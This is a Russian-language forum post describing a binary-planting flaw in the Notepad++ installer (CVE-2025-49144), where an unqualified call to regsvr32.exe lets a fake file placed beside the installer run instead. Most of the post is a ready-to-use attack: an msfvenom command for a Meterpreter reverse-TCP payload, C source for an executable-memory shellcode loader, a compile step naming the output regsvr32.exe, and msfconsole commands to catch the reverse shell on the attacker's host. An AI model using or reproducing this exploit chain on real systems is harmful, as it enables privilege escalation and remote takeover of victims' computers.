Добро пожаловать на BlackSAMP - ФОРУМ

[0xDA0F00D]

Проблема в установщике notepad++ позволяет не только выполнять вредоносный код, но обходить AV и повышать привилегии. (CVE-2025-49144)

Она заключается в установке notepad++.

Дело в том, что во время установки на windows, он вызывает regsvr32.exe, но проблема в том, что в установщике, не указан полный путь к этому файлу.

Следовательно атакующий может заранее поместить фейковый regsvr32 в папку с установщиком и тогда вместо вызова C:\Windows\System32\regsvr32.exe, установщик обратится к regsvr32.exe атакующего.
А вредоносный код, сработает как легитимный файл.
Как провести атаку?
Получаем shellcode

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<YOUR-IP> LPORT=4444 -f c > shellc.txt

Создаём файл exploit.с С кодом:

#include <windows.h>
#include <stdio.h>

unsigned char shellcode[] = {
    // тут ваш шеллкод
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
};

int main() {
    void *exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (exec == NULL) return -1;
    memcpy(exec, shellcode, sizeof(shellcode));
    ((void(*)())exec)();
    return 0;
}

Собираем это всё в regsvr32.exe

x86_64-w64-mingw32-gcc example.c -o regsvr32.exe -mwindows

И запускаем установщик notepad++ на целевой машине.

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <YOUR-IP>
set LPORT 4444
run